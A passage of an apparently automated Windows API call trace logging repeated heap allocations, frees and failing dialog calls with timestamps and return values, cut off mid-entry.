[0026.777] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.777] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.777] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193178058, cy=27, fuLoad=0x0) returned 0x0 [0026.777] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.777] GetLastError () returned 0x715 [0026.777] SetLastError (dwErrCode=0x715) [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.777] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.777] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.777] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.777] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.778] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.778] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.778] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.778] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.778] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.778] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.778] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.778] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.779] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.779] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.779] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.779] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.779] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.779] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.779] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.779] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.779] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.780] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.780] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.780] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.780] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.780] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.780] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.780] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.780] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.780] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.780] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.780] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.780] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193159113, cy=27, fuLoad=0x0) returned 0x0 [0026.780] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.780] GetLastError () returned 0x715 [0026.780] SetLastError (dwErrCode=0x715) [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.781] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.781] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.781] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.781] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.781] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.781] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.781] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.781] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.782] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.782] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.782] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.782] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.782] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.782] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.782] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.782] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.783] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.783] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.783] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.783] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.783] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.783] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.783] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.783] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.783] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: 